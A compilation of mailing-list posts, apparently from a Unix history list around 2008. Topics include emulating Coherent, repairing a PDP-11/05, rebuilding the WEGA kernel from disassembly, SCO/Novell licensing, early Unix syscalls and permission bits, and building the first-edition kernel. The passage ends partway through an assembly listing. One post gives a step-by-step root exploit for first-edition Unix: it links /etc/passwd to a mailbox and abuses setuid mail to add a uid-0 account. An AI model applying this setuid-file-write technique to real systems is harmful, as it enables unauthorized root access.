> Coming Soon!
Again, that would point that as early as 2001 the Swartzs were already
intending to open source Coherent, and would justify my memories of an
actual open sourcing notice in ftp.mayn.de but until (if) I can find that
announcement I should suspect my memory.
So, you are on your own, free to guess as much as anyone else. Bob Swartz
or Open Coherent LLC are certainly elusive. That much I could find. I'll
keep on digging if I have time. Personally, I don't quite see any of this
clear at all, but you know, having been a system manager for decades makes
one paranoid.
j
--
These opinions are mine and only mine. Hey man, I saw them first!
José R. Valverde
De nada sirve la Inteligencia Artificial cuando falta la Natural
Hi all,
I just had a try to install Coherent on qemu (once more), and this time
it did work. Formerly it would fail during installation complaining about floppy
disks being unavailable, no root device or some other such error. Now it is
happily finishing configuration using qemu 0.9.1
So, for all of you nostalgics who wanted to have Coherent up and running
again, QEMU can finally run it since release 0.9.1. The distribution disks and
serial number for Coherent are available on a number of sites, as you may know.
j
--
These opinions are mine and only mine. Hey man, I saw them first!
José R. Valverde
De nada sirve la Inteligencia Artificial cuando falta la Natural
hi all,
The recent flurry of activity in early pre-C UNIX for an 11 with a
small memory got me back to working on my 11/05. So far I've
identified two nasty problems with the data paths board, the M7260.
One of the 8266 MUX chips looks like the plastic boiled and bubbled
and circuit board is discolored underneath it. I'd welcome both
sources for replacement chips and techniques for replacing it.
Additionally there's a lifted and broken trace on the non-component
side of the module near the F edge connector. Any sugestions for
repairing a damaged trace would be welcome.
Lastly, I'd just as soon use a DL11W in the 11/05 rather than go to
the trouble of setting up an external clock to feed the on board UART.
I can get both 9600 baud and RS232 from the DL11W instead of 2400 baud
current loop from the built-in interface. I haven't yet found the
jumpers to remove/install that would disable the built-in console
interface. There's also the LTC.
TIA,
Milo
--
Milo Velimirović, Unix Computer Network Administrator
University of Wisconsin - La Crosse
La Crosse, Wisconsin 54601 USA 43 48 48 N 91 13 53 W
--
Unix: Where /etc/init is job #1.
Dear Oliver
Astounding work!
What reference source are you using for the reconstruction process?
I bet you are having a look at the source code for Plexis sys3 in the
TUHS archives, and comparing with the stock sysIII from SCO, right?
FWIW from the source trees from SCO and Plexis, the code layout was
arranged by CPU. I'd bet the WEGA authors had access so SysIII sources,
and if they'd gone through the pains to get it, then they might as
well got both -or perhaps Plexis, which should have been more easy
to get- to use as their codebase. So a comparison of both source
trees should yield useful insights from the differences between PDP11,
VAX and Z8000.
BTW, as I remember practice in the '80s it was not uncommon to write
source in C and then tweak the assembler produced by hand to gain some
extra efficiency or fixes. It is also possible that the authors resorted
to tricks (like casting an int parameter to char) to force the compiler
generate the code they wanted. You should also watch out for external or
global symbols. It is also possible that the system was compiled with a
different (may be earlier) version of the compiler that was later shipped.
If you can't get stock code to render the same asm then I'd bet for the
latest explanation (different compiler versions).
Other than that, you are doing an astounding work!
BTW, there are other Z8000 UNIX floating around. Maybe one of them will
shed some extra light.
> So my goal is now to get the kernel sources right now to make the
> neccessary changes to get TCP/IP running in the kernel. As you might
> think now this is not so easy as it sounds. The sources for some objects
> of the kernel survied over the time, but many are missing. I'm now
> sitting here since a month disassembling the original kernel object and
> writing the disassembled code back in C. I've started this by having lets
> say nearly-to-zero ASM knowldege and I'm making good progress. Not much
> is left, but from time to time the C files are not compiling to
> exactly the same object which is in the kernel. Some times other
> temporary registers are used for operations, or I can't get to the same C
> code doesn't matter of what I'm trying and so on. I'm trying to get 100%
> the same object to be 100% sure I have the same code the object was built
> with. The compiler on that system should be the same but of course I
> can't guarantee that for sure.
--
These opinions are mine and only mine. Hey man, I saw them first!
José R. Valverde
De nada sirve la Inteligencia Artificial cuando falta la Natural
Hi.
I'm reading TCP/IP Illustrated - for the first time; talk about slack! - and
noticed Stevens used BSD/386. I remember seeing in DDJ in the early '90s ads
for various software-plus-source from a Texas repackaging company, and they
had BSD/[386|i|OS] at various times for $1k.00.
That was then - this is now. Is it likely, or even possible, that BSDi the
company would be ready to consider BSD/386 and such early releases, legacy
that could be donated to TUHS? And if so, who should we contact, to ask?
Thanks
Wesley Parish
--
Clinersterton beademung, with all of love - RIP James Blish
-----
Gaul is quartered into three halves. Things which are
impossible are equal to each other. Guerrilla
warfare means up to their monkey tricks.
Extracts from "Schoolboy Howlers" - the collective wisdom
of the foolish.
-----
Mau e ki, he aha te mea nui?
You ask, what is the most important thing?
Maku e ki, he tangata, he tangata, he tangata.
I reply, it is people, it is people, it is people.
All Simh version 3.8-0 has been released by Bob Supnik. It now has all the
support that we need to run 1st Edition UNIX. In our Subversion repository,
I've updated the Readme file and the simh.cfg file to match the new simulator.
Cheers,
Warren
Hello.
Very interesting article from http://arstechnica.com here:
http://arstechnica.com/news.ars/post/20080501-deluded-sco-ceo-on-witness-st…
A quote from that article:
"Greg Jones, VP of Technology at Novell, was called as a witness. Jones
was asked if SCO ever told Novell that it would sue Linux users. He
said, "No, never that specific." When asked if SCO notified Novell under
the Asset Purchase Agreement Amendment 2 that it would enter into a
license with Microsoft, he said, "No."
Jones testified that SVRX code is in Solaris and that he had discovered
several cases of this. At that point, Novell entered into evidence at
least 21 examples of OpenSolaris code that had been taken from the SVRX
code base (one such example can be found on the OpenSolaris web site)
and re-licensed under Sun's open-source CDDL license.
He further testified that the agreement between SCO and Sun was
"extraordinary" in allowing a move from a proprietary license to an
open-source license, and if Novell had been asked, it would have
prevented SCO from entering into that agreement. He said the same thing
regarding the Microsoft agreement with SCO, as well as the agreement
between SCO and Computer Associates."
And then this pearl:
"SCO argues that it was not authorized to execute license agreements and
that interested third parties such as Sun and Microsoft should get their
money back, but it says that Novell is not entitled to hold the money in
the interim. If you purchased a license from SCO that was unauthorized,
the argument is that you'll need sue them to get it back. Since SCO is
currently in bankruptcy proceedings, that could be difficult."
------
Ain't it funny?
--
Pepe
pepe(a)naleco.com
With the successful restoration of Unix V1, I was thinking of other
operating systems that could be restored in a similar way. The most
historically significant would probably be CTSS. The SIMH IBM 7094
simulator has everything necessary to run CTSS implemented already,
although the CTSS-specific stuff is untested (since as far as I know,
nobody has booted CTSS in it yet) and may need some patching.
There are several tapes of listings (for almost all of the system), and
a few tapes of binaries (one with supervisor binaries, and one with
"standalone" utilities, but nothing with user-mode programs) available.
The listings need to be converted back into source that can be assembled
or compiled. Part of this can be done automatically (I have written some
dumb scripts to do this), but there will likely be quite a bit of manual
editing involved. There is nothing to be OCRed, since everything is on
magtapes.
Most of the source is either assembly or MAD (an Algol-58 dialect), with
a few files in AED (another Algol dialect, for which no compiler appears
to have survived). Restoring the assembler stuff should be easy (there
exists a cross-assembler which would work), but restoring the MAD stuff
will be a little bit harder. There is no cross-compiler for it (there is
a compiler that runs under IBSYS, but it is probably just for an IBSYS
target, and I'm not sure if anyone has even figured out how to run it).
The AED stuff will have to be rewritten in MAD (which shouldn't be
especially hard, since AED and MAD are somewhat similar). Only a few
non-essential programs are written in AED.
I think that all (or at least most of) the stuff required for booting is
written in assembler, so the best way to get it working would be get a
minimal system booting (I suspect all that is necessary is the
supervisor, so the binaries on the tape might be of use), and run the
CTSS MAD compiler under it to compile all the MAD stuff (which includes
many of the "core" commands).
I'm not sure what the best way to get stuff into a filesystem is. The
standalone utilities run under FMS, and there is no bootable FMS tape.
There is a version of FMS that runs under IBSYS, but for some reason, it
returns an error when attempting to load the utilities off the tape.
It is probably possible to patch it to fix that bug, though. It would
also work to write utilities that run on the host system, much like what
was done for Unix V1 (although I think that fixing the bug in FMS would
probably be easier).
Maybe I should start a Sourceforge project.
Another, much simpler, system which might be possible to restore is
MUMPS-15, for which a PDF of a paper listing is available on bitsavers.
Restoring it would probably just be a matter of OCRing, correcting, and
assembling it (and maybe writing a bootstrap).
Hi,
while creating a web-page about the open questions of how to create C
code which compiles through the optimizer run to the same ASM code as the
original object was made from, I found the fix for one of my two "top"
questions.
The (right now) remaining question is here:
http://pofo.de/P8000/problems.php
The other (solved) problem was:
I had the following ASM code:
ldk r2,#0
ldb rl2,_u+1060
ld r3,r2
neg r3
add r3,#256
ldb rh3,rl3
clrb rl3
ld _u+48,r3
so i created the following C code out of it:
u.u_count = (-u.u_segmts[NUSEGS-1].sg_limit+0x100)<<8;
but this compiled to this ASM code:
ldk r2,#0
ldb rl2,_u+1060
neg r2
add r2,#256
ldb rh2,rl2
clrb rl2
ld _u+48,r2
As you can see the copy of r2 to r3 and the further processing with r3 is
missing here. I also thought "who the fuck would write such an C-code,
the code must look different". but I did not found the solution what
could have been written in the C code until I've talked today with a
colleague of mine at work about ASM and my problems. He isn't familar
with Z80(00)-ASM but he used to program ASM years ago with his C64. We
took the ASM code and simulated it with values:
_u+1060 contains 15 and is loaded to rl2 15 (0x000F / 00000000 00001111)
this gets negated (2 complement formed) -15 (0xFFF1 / 11111111 11110001)
to that, 256 gets added 241 (0x00F1 / 00000000 11110001)
this is 8 bit rightshiftet 61696 (0xF100 / 11110001 00000000)
the result gets loaded into _u+48
He then got the idea that all this could be aritmetical written
as ((256 - 15)*256) because -15+256 is == 256-15 and rightshifts are done
aritmetically by multiplying the value with 256. It could have also been
done by having 256² - 256*x. This was great. With that information I wrote
in C:
u.u_count = (256-u.u_segmts[NUSEGS-1].sg_limit)<<8;
And this generated the same ASM code as in the original code
problem solved :)
--
Oliver Lehmann
http://www.pofo.de/http://wishlist.ans-netz.de/
Hi everybody,
I don't know if it's usual or not to write an introduction but I'll just
do so by keeping more an eye on the computer system I own.
If you don't care just skip this mail ;)
As my From header states my name is Oliver, I live in germany and right
now I'm 27 years old. That should be enough to my person - now let me
tell you a bit more about the computer system I own ;)
EAW P8000
This system was built between 1987 and the breakdown of the former GDR -
the eastern part of germany - 1990. The system itself is split up into
two "towers" connected together. The first tower called "P8000 Computer"
contains a 8Bit system (Z80) and a 16Bit system (Z8001).The 2nd case -
the "P8000 Winchester" - contains a Winchester Disc Controller which runs
with a Z80 CPU and is connected to the 16Bit part of the "P8000
Computer". Up to three MFM drives (all with the same geometry while the
geometry itself can be configured) can be connected to the WDC.
The 8Bit part is built on a single board, has 64KB SRAM, 2 SIOs to
connect up to 4 terminals to it, one PIO to connect a EPROM programmer,
and one PIO to establish a connection to the 16Bit part. It has 2 5.25"
floppy drives with an external connector to connect two further 5.25" or
8" floppy drives. The systemmonitor is loaded from two 2732 EPROMs.
The system originally supported three operating systems while two
survived the time being. I own UDOS which is a Z80-RIO clone and OS/M
which is a CP/M clone. There also was an OS called IS/M which was an ISIS
clone.
The more interesting (at least for me) part is the 16Bit part. The 16Bit
part is built on a single board too (6layer) while the DRAM are single
board which can be hooked up onto the mainboard.
The system runs a Z8001 with 3 MMUs and Z80-peripherial ICs (PIO, SIO...)
It also has 2 SIOs for 4 terminal connections, and one PIO to connect the
WDC. The system also has two furhter PIO chips to establish a connection
to the 8Bit system. The system runs with up to 4MB of DRAM but it might
run with more RAM with self-made RAM modules. There exists also a RTC for
the system and an extension to connect an 80286CPU + 1MBRAM to the 16BIT
port to run a x86 OS on it while stearing it from the OS running on the
16Bit system.
The Operating-System running on the 16Bit part is WEGA - a ZiLOG ZEUS
clone.
To boot WEGA at first the 8Bit system has to be booted up with UDOS (the
Z80-RIO clone) to load a communication software which handles the
communication over the 8Bit-PIO. After this is done the system switches
over to the 16Bit system and the system monitor there gets loaded. The
WEGA-Kernel (most parts are still original ZEUS objects) itself has the
corresponding part for the 8<->16Bit communication interface in it.
This was done to get access to the floppy drives, the EPROM programmer
and the 4 8Bit-terminal connections which are all connected to the Z80
on the 8Bit-system.
To access for example a floppy, the WEGA-kernel has to send the request
using the PIO connection to the 8Bit system which handles it and sends
the results back to the WEGA-kernel on the 16 Bit system. Same goes with
the WDC which is connected through another PIO directly to the 16Bit
system - command codes are sent to the Z80 on the WDC which handles the
codes and sends the results back to the 16Bit system. Not that fast but
it works good.
Pictures and so one are all collected on my homepage
http://pofo.de/P8000/ while most (if not to say all) of original
documents are written in german...
So - what do I do with the system? I use it for learn more about hardware
processes itself, assembler and to get a deeper UNIX knowledge which is
easier to start with there then with todays UNIX systems.
Las project was to get TCP/IP working and I successed by usingg K5JB to
get FTP and ping to work via SLIP. Because the speed was damn slow (and
not just because of the baud rate), I came to the conclusion that a
better performance could be achieved by implementing TCP/IP in the
kernelspace instead of having it run in the userspace.
So my goal is now to get the kernel sources right now to make the
neccessary changes to get TCP/IP running in the kernel. As you might
think now this is not so easy as it sounds. The sources for some objects
of the kernel survied over the time, but many are missing. I'm now
sitting here since a month disassembling the original kernel object and
writing the disassembled code back in C. I've started this by having lets
say nearly-to-zero ASM knowldege and I'm making good progress. Not much
is left, but from time to time the C files are not compiling to
exactly the same object which is in the kernel. Some times other
temporary registers are used for operations, or I can't get to the same C
code doesn't matter of what I'm trying and so on. I'm trying to get 100%
the same object to be 100% sure I have the same code the object was built
with. The compiler on that system should be the same but of course I
can't guarantee that for sure.
I'll put a web page together with my open C<->ASM questions because I
think I can format things better there so asking and reading would be
easier (probably because it is a lot of text)
My progess can be seen here: http://pofo.de/P8000/kernel.php
And the sources I got so far are here:
http://cvs.laladev.org/index.html/WEGA/src/uts/
I hope you can help me a bit with answering the things I can't find an
answer myself ;)
--
Oliver Lehmann
http://www.pofo.de/http://wishlist.ans-netz.de/
Working with the 1st Edition UNIX code has been a blast. I just thought I'd
quickly summarise the features of the 1st Edition. It's quite amazing the
system that had been written by the end of 1971:
- a multitasking system with up to 16 processes
- multiple users
- a hierachical filesystem, with empty directories used as mountpoints
- read/write file protection for user/other (no group), plus the
execute and set-userid bits
- i-nodes, and filenames separated from i-nodes, allowing hard links
- device files
Just as interesting is the fact that, out of the 33 system calls in 1st
Edition UNIX, only one has disappeared completely from modern UNIXes;
four have merged into signal(), and a few have morphed into other syscalls:
V1_RELE 0 /* release the CPU, i.e. pre-empt this process */
V1_EXIT 1 exit()
V1_FORK 2 fork()
V1_READ 3 read()
V1_WRITE 4 write()
V1_OPEN 5 open()
V1_CLOSE 6 close()
V1_WAIT 7 wait()
V1_CREAT 8 open(path, O_CREAT | O_TRUNC | O_WRONLY, mode);
V1_LINK 9 link()
V1_UNLINK 10 unlink()
V1_EXEC 11 exec()
V1_CHDIR 12 chdir()
V1_TIME 13 gettimeofday()
V1_MKDIR 14 mkdir()
V1_CHMOD 15 chmod()
V1_CHOWN 16 chown()
V1_BREAK 17 brk()
V1_STAT 18 stat()
V1_SEEK 19 lseek()
V1_TELL 20 lseek(fd, 0, SEEK_CUR);
V1_MOUNT 21 mount()
V1_UMOUNT 22 umount()
V1_SETUID 23 setuid()
V1_GETUID 24 getuid()
V1_STIME 25 settimeofday()
V1_QUIT 26 signal(SIGQUIT,...)
V1_INTR 27 signal(SIGINT,...)
V1_FSTAT 28 fstat()
V1_CEMT 29 signal(SIGEMT,...)
V1_SMDATE 30 utimes()
V1_STTY 31 fcntl(), tcsetattr()
V1_GTTY 32 fcntl(), tcgetattr()
V1_ILGINS 33 signal(SIGILL,...)
The fact that we are still using these system calls today speaks volumes
for the original design.
Cheers,
Warren
Seen in a .sig:
Unix is the answer, but only if you phrase the question very carefully.
--
Milo Velimirović
University of Wisconsin - La Crosse
La Crosse, Wisconsin 54601 USA 43 48 48 N 91 13 53 W
> Date: Thu, 22 May 2008 18:10:33 +0200
> From: "Jose R. Valverde" <jrvalverde(a)acm.org>
> Subject: Re: [TUHS] V8 - V10
>
> Solaris has been open sourced and is heavily System V based. Novell
> argues now SCO was not entitled to, and so the Sun-SCO agreement that made it
> possible is probably void.
>
> [...]
> There remains the issue of the flow of SystemV licenses money to Novell
> after and if it is open sourced... I don't know how much that is, nor how much
> it might be 4-10 years from now when the SCO appeals are heard. So my evaluation
> is probably faulty.
I concur with your opinion.
If Novell could not get paid from The SCO Group of the percentage (about
90%) they are entitled to of the SVRX License Payment SUN made to The SCO
Group, and of the SVRX License Payment Microsoft made to The SCO Group
(because, you know, The SCO Group has filled for bankruptcy), then they are
probably going to action on the basis of said Licenses being void, or at
least in being void the part of such Licenses that allows to Sub-license
the material changing the terms of the License, or changing the License
altogether. According to this hypothesis on the future, in case The SCO
Group cannot find the money to pay Novell, Novell will probably try to
renegotiate such Licenses directly with SUN and Microsoft. Microsoft
will probably just return the material instead of paying for it (as they
don't need it), but SUN is in a totally different position.
SUN has now OpenSolaris, which was made possible by that License they got
from The SCO Group. So SUN will renegotiate and pay Novell to legalize
the SVRX License they got from The SCO Group which allowed them to
"open-source" Solaris.
Only after Novell gets that payment(s), either from The SCO Group or
SUN, will they consider "open-sourcing" the historical SVRX and
classical UNIX code. Otherwise, they could hardly monetize on it, as
they currently have the opportunity to do.
Regards,
--
Pepe
pepe(a)naleco.com
My take on this is multiple:
If I remember well from IBM vs. SCO the agreements between IBM and alike
and AT&T stated that the code was to be kept confidential but that if a third
party did release it, the licensees would no longer be bound by that restriction.
Solaris has been open sourced and is heavily System V based. Novell
argues now SCO was not entitled to, and so the Sun-SCO agreement that made it
possible is probably void.
Novell is now engaged against SCO. Once that is over, they'll have to
look at the Sun and MS agreements. My take on this is that they will renegotiate.
In the case of Sun there is no longer sense in asking for the code to be closed.
It's in the open now and has been for a long time. If I were Novell, I would
negotiate in a oblique direction: Solaris _may_ pose a competing threat to Novell
Linux business... arguably. Sun is interested in making Solaris GPL. If it were,
then Novell would have no standpoint against Sun as it would make no difference
then for them to use either Linux or Solaris, both being equally available and
third-party originated under the same license. Going after Solaris would give
them a very bad reputation among OSS followers. Thus, what would make more sense
would be to negotiate with Sun and ask for some more money in exchange for
dropping any charges and Solaris becoming GPL. Everybody wins and everybody is
happy.
Should it go that way, and probably only afterward, Novell may consider
opening up System V under an OSS license, as most of it would have been rendered
obsolete by OSS Solaris. It would also increase Novell's reputation and clear
this mess forever. Hopefully by the time this happens (counting on SCO or their
successors to appeal the Utah decision), maybe 10 years from now, System V will
have become as irrelevant -commercially I mean- as e. g. UNIX v5 is now while
historical interest and value will have raised after several years of TUHS
applying moderate pressure ;-) It would also be the time to ask IBM to release
the code for AIX and DYNIX (which is already in the wild according to
soothsayers), HP to open Tru64 (same and which they insist on phasing out),
etc...
There remains the issue of the flow of SystemV licenses money to Novell
after and if it is open sourced... I don't know how much that is, nor how much
it might be 4-10 years from now when the SCO appeals are heard. So my evaluation
is probably faulty.
Oh, well, I woke up in a dreamy mood today! :-)
j
--
These opinions are mine and only mine. Hey man, I saw them first!
José R. Valverde
De nada sirve la Inteligencia Artificial cuando falta la Natural
> From: Aharon Robbins <arnold(a)skeeve.com>
>
> Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS?
It seems clear, now, that the copyright on that is Novell's, and that
The SCO Group *never* had the copyright for that transferred to them by
Novell, and that therefore the "open-sourcing" of that material done by
Caldera is void because Caldera was lacking just title to do such
re-licensing.
Therefore, you can legally release it to TUHS, provided you have a license or
permission from Novell to do so.
You could always release it anyway, and hope for the best, but then you
are on your own and betting for your luck. Anything could happen, but it
is unknown.
--
Pepe
pepe(a)naleco.com
Yow. I didn't expect such a flurry of legalese when I asked the question.
> Date: Wed, 21 May 2008 17:54:41 -0700
> From: lm(a)bitmover.com (Larry McVoy)
> Subject: Re: [TUHS] V8 - V10?
> To: Pepe <pepe(a)naleco.com>
> Cc: tuhs(a)minnie.tuhs.org
>
> > Therefore, only Novell can "open-source" V8 - V10, which is the point
> > being discussed here, and Caldera had no title to do it.
I hadn't kept up, so this was an interesting surprise. At least we know
more or less what's going on now.
> Has anyone asked Novell?
Indeed. Do we even know who to ask there?
Thanks,
Arnold
I was just browsing through the 1974 UNIX CACM paper, the one that first
publicly described the design and functionality of UNIX. I came across
some sentences which describe the file permissions, and they sounded quite odd:
When a file is created, it is marked with the user ID of its owner.
Also given for new files is a set of seven protection bits.
Six of these specify independently read, write, and execute permission
for the owner of the file and for all other users. [The seventh bit
is the set-user-id bit. ]
This seems to indicate that there are "rwx" bits for owner, "rwx" bits for other,
and no "rwx" bits for group. I've never seen a UNIX system with 6 file
permission bits, so I thought I would poke around to see what I could find. It
turns out that none of the source code or document artifacts that we have
describe a UNIX system with just 6 "rwxrwx" bits: there are either "rw" user,
"rw" other and a separate execute bit, or the modern 9 "rwxrwxrwx" permission
bits.
1st Edition UNIX (Nov 1971) has these permission bits for an i-node:
#define I_SETUID 0000040 set-user-id
#define I_EXEC 0000020 a single execute bit
#define I_UREAD 0000010
#define I_UWRITE 0000004 read/write for user
#define I_OREAD 0000002
#define I_OWRITE 0000001 read/write for other
3rd Edition UNIX (Feb 1973) has these permission bits for an i-node:
000040 set user ID on execution
000020 executable
000010 read, owner
000004 write, owner
000002 read, non-owner
000001 write, non-owner i.e same as for 1st Edition
By the time we get to the Nsys kernel (Aug 1973, just before 4th Edition UNIX),
the system has the concept of groups and the setgid() & getgid() system calls.
The inode.h header file defines these permission bits:
#define ISUID 04000
#define ISGID 02000
#define IREAD 0400
#define IWRITE 0200
#define IEXEC 0100
This is a bit unclear, but the code for the access() kernel function implies
that there are read/write/execute bits for user, group and other. Here is the
code for access() with my comments:
/* Determine if the current user can access a file with the given mode */
access(ip, mode)
int *ip;
{
register *rip;
if(u.u_uid == 0) /* root can access all files */
return(0);
rip = ip;
if(u.u_uid != rip->i_uid) { /* not owner, shift mode 3 bits, lose */
mode =>> 3; /* user bits, replace with group bits */
if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
mode =>> 3; /* group bits, replace with other bits */
}
if((rip->i_mode&mode) != 0) /* If mode mask and file's mode leave */
return(0); /* some bits enabled, allow access */
u.u_error = EACCES;
return(1);
}
And when we get to the 4th Edition (Nov 1973), the filesystem manual gives
these permissions:
000400 read (owner)
000200 write (owner)
000100 execute (owner)
000070 read, write, execute (group)
000007 read, write, execute (others)
So, editions up to the 3rd Edition had "rwrw" + "x"; the Nsys kernel and
onwards had "rwxrwxrwx" permission bits.
The only possibility that I can see is, as 3rd Edition was being rewritten
from assembly into C, the filesystem went through a stage where there
"rwx" execute bits for user, and "rxw" execute bits for other as the CACM
paper described, but groups had not been introduced yet. Then, the idea of
groups was added: the i-node structure had the i_gid field added, and the
access() function was extended with the lines:
if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
mode =>> 3; /* group bits, replace with other bits */
I'll have to ask Dennis is this sounds plausible.
Cheers,
Warren
For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.
I did the following, outside the simulator:
tools/assemv2
mkdir fs/usr/kernel
cp -pi build/u?.s fs/usr/kernel
tools/imgbuild
boot/installboot
tools/pdp11 boot/simh.cfg
Then, I logged in as root and did:
chdir /usr/kernel
as u?.s
chdir ../boot
sh run
msys2 u ../kernel/a.out
More realistically, the kernel should be built in /usr/sys.
James Markevitch
All work and no play...
Here's a fun hack for first edition unix. From MAIL (I) :
When followed by the names of a letter and one or more people, the
letter is appended to each person's mailbox. Each letter is
preceded by the sender's name and a postmark.
A person is either the nameof an entry in the directory /usr, in
which case the mail is sent to /usr/person/mailbox, or the path
of a directory, in which case mailbox in that directory is used.
Mail is setuid root:
# ls -l /bin/mail
80 surwr- 1 root 3940 Jan 1 00:00:00 mail
login as a non-root user (ie "bin"), create a file "letter" with the
contents "hack::0:/:". Run:
@ ln /etc/passwd /tmp/mailbox
@ mail letter /tmp
log out and log back in as "hack". You are now root. Cat /etc/passwd
and notice:
From bin Jan 1 00:49:22
hack::0:/:
clean up the file a little and enjoy your new elevated status.
Tim Newsham
http://www.thenewsh.com/~newsham/
On Sun, May 18, 2008 at 03:40:05PM +0200, Magnus Danielson wrote:
> Warren!
> Thanks for a couple of interesting posts!!!
> Makes me want to read some source... you seems to have it at hand.
> Where is it?
Most of it is here:
http://www.tuhs.org/Archive/PDP-11/Distributions/research/
which includes source for 5th, 6th and 7th Editions, and a kernel
written just before 4th Edition. We don't have 2nd, 3rd, or 4th Edition
source, but the 3rd and 4th Edition manuals are in there.
The source to the 1st Edition UNIX kernel has recently been found in
a paper document, available at
http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/Prelim….
Cheers,
Warren
For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.
I did the following, outside the simulator:
tools/assemv2
mkdir fs/usr/kernel
cp -pi build/u?.s fs/usr/kernel
tools/imgbuild
boot/installboot
tools/pdp11 boot/simh.cfg
Then, I logged in as root and did:
chdir /usr/kernel
as u?.s
chdir ../boot
sh run
msys2 u ../kernel/a.out
More realistically, the kernel should be built in /usr/sys.
James Markevitch
While I'm investigating the legacy of the UNIX syscalls, I might as well
go into the later versions.
2nd Edition UNIX kept all the syscalls of 1st Edition, and added these:
34 hog lower process priority, becomes nice()
35 sleep sleep()
36 sync sync()
37 kill kill()
38 getcsw reads console switches: this goes away in 7th Edition
3rd Edition UNIX kept all the syscalls of 2nd Edition, and added these:
39 boot reboot the system, becomes reboot()
40 fpe catch floting point errors, becomes signal(SIGFPE, ...)
41 dup dup()
42 pipe pipe()
43 times get process time details, becomes getrusage()
Note pipe() appears in the 3rd Edition, which was still in assembly.
4th Edition UNIX is the first kernel written in C. We start to see changes:
14 mknod was mkdir(), now can make directories and device files
34 nice was hog()
20 tell goes away, as seek() does the same job
44 profil profil()
45 tiu interface to Spider digital switching network: goes away
46 setgid setgid()
47 getgid getgid()
48 signal signal()
It's interesting to note that signal() appears, but the existing signal-like
syscalls do not disappear just yet, although tell() does go away. It's also
to note that seek() has the usual 0=SEEK_SET, 1=SEEK_CUR, 2=SEEK_END, but
there are also 3, 4, 5 which mean the same except that offsets are multiplied
by 512 bytes. This is to do long seeks on block devices. Earlier UNIX kernels
automatically multiplied offsets on block devices by 512, but now the task
of doing this has been shifted to the process.
In 5th Edition, we see some more changes:
20 getpid getpid(), fills the slot vacated by tell()
26 quit goes away to be replaced with signal(SIGQUIT, ...)
27 intr goes away to be replaced with signal(SIGINT, ...)
29 cemt goes away to be replaced with signal(SIGEMT, ...)
33 ilgins goes away to be replaced with signal(SIGILL, ...)
39 boot goes away
40 fpe goes away to be replaced with signal(SIGFPE, ...)
45 tiu goes away
6th Edition has few changes over 5th Edition:
26 ptrace ptrace(), fills the slot vacated by quit()
30 smdate becomes inoperative
7th Edition has some significant changes over 6th Edition:
27 alarm alarm(), fills the slot vacated by intr()
29 pause pause(), fills the slot vacated by cemt()
30 utime utime(), replaces the missing smdate()
33 access access(), fills the slot vacated by ilgins()
35 ftime get date and time, later becomes gettimeofday()
38 getcsw goes away
39 setpgrp setpgrp(), but not yet implemented, i.e. reserved slot
49 unused
50 unused
51 sysacct turn accounting off/on
52 sysphys set user physical addresses
53 syslock lock user in core
54 ioctl ioctl()
55 unused
56 mpxchan create mpx communications channel
57 unused
58 unused
59 exece execve(), note that existing syscall 11 exec() has no envp[]
60 umask umask()
61 chroot chroot()
Note that 35 sleep() is now gone, as its functionality can be simulated with
27 alarm().
Cheers,
Warren
> > For building under UNIX itself, there are a variety of strategies. Here
> > is my list, in order of preference:
> >
> > 2. Modify the V2 assembler to produce V1 binaries.
>
> I'm going to take a "devil's advocate" stance here, and argue to keep the
> existing "as" binary untouched.
In any event, the msys2.s will work to install a V2-assembled kernel
into the boot area.
I've sent a new copy of the boot directory and fs/usr/boot to Warren and
Tim to install. msys2.s is now the program to use to install the bootstrap
and the fs/usr/boot/unix.out file is a copy of build/a.out.
This means that if the kernel is assembled using the V2 assembler under
UNIX V1 itself, then the a.out from that assembly can be used directly
by msys2 to install into the boot area.
James Markevitch
> > I've ported the bootstrap stuff over the whole UNIX V1 build process.
> > (Note: it would be nice to have a V1 as, so that all of these hacks
> > we've been doing can go away).
>
> Did you write bos.s and msys.s from scratch? I noticed your
> wunix contains no header, just the binary bits. Was this standard
> procedure in other versions of unix or is it possible that
> the msys program took in an 0405 or 0407 and stripped the header
> off before writing it? Is there an easy way to strip the header
> from within the unix system with standard commands?
I wrote bos.s and msys.s from scratch. I am not aware of any binaries
or source for these.
bos is written in an entirely position-independent manner so that it can be
compiled with a v1 assembler, v2 assembler, etc. and still run when loaded
at location 54000 in core. Other than the option to load a paper tape, I
believe this to be as true to V1 as possible.
msys was implemented to be as true to V1 as I believed possible. It copies
images directly from disk without modifying them, as I believe the original
V1 msys did. There is no header kludging, since a V1 a.out UNIX kernel
should be bootable without modification.
For wunix (warm unix), I took the build/loadfile, stripped off the
first 6 bytes, then copied the next 16K bytes, just as the boot/installboot
script does.
For building under UNIX itself, there are a variety of strategies. Here
is my list, in order of preference:
1. Use the V1 assembler. This will produce a 12-byte header that is
exactly compatible with the kernel source as it appears in the listing. As
many people on this are aware, the first 12 bytes get manually patched
by the UNIX code when it starts up. But, I don't think the V1 assembler
exists anywhere, or at least not that has been found. That kind of makes
this option moot.
2. Modify the V2 assembler to produce V1 binaries. If the V2 assembler
can be built from sources, then it should be straighforward to edit it
to produce V1 binaries (i.e. 405 instead of 407). This would allow a
kernel in the true spirit of V1 to be created, then copied into the
boot area by msys. It would also allow other programs to all be created
as V1 binaries, which has a lot of attraction to me.
3. Modify msys.s to be msys2.s to strip the 407 header and also truncate
the copy to not overrun the size of the area being copied into (1K, 6K,
6K, 3K). I just tested a modified version of this and attached it below,
since that should help to get things going; but I really think that
option #2 would be nice to have eventually.
Note to use msys2, you need to copy build/a.out to fs/usr/boot/unix.out,
and to put msys2.s into fs/usr/boot/msys2.s. Then after you boot, do:
chdir /usr/boot
as msys2.s
mv a.out msys2
msys2 u unix.out
I'll clean up the source and send a complete fs/usr/boot out later
tonight.
James Markevitch
--------------------------- fs/usr/boot/msys2.s -------------------------
/ msys2 -- copy file to RF read only slot
/
/ re-creation, based on description in UNIX_ProgammersManual_Nov71.pdf,
/ page 7-06, BOOT PROCEDURES (VII)
/ 5/9/08 jam(a)magic.com
/ 5/17/08 jam(a)magic.com -- hacked to copy 407-format a.out files
/ b bos 1700
/ u warm unix 1704
/ 1 cold unix 1734
/ 2 unassigned 1764
mov sp,r5
mov (r5)+,r3 / argc
cmp $3,r3 / must be 3
bne badcmd / else error
tst (r5)+
mov (r5)+,r4 / get first arg
cmpb (r4),$'b
bne 1f
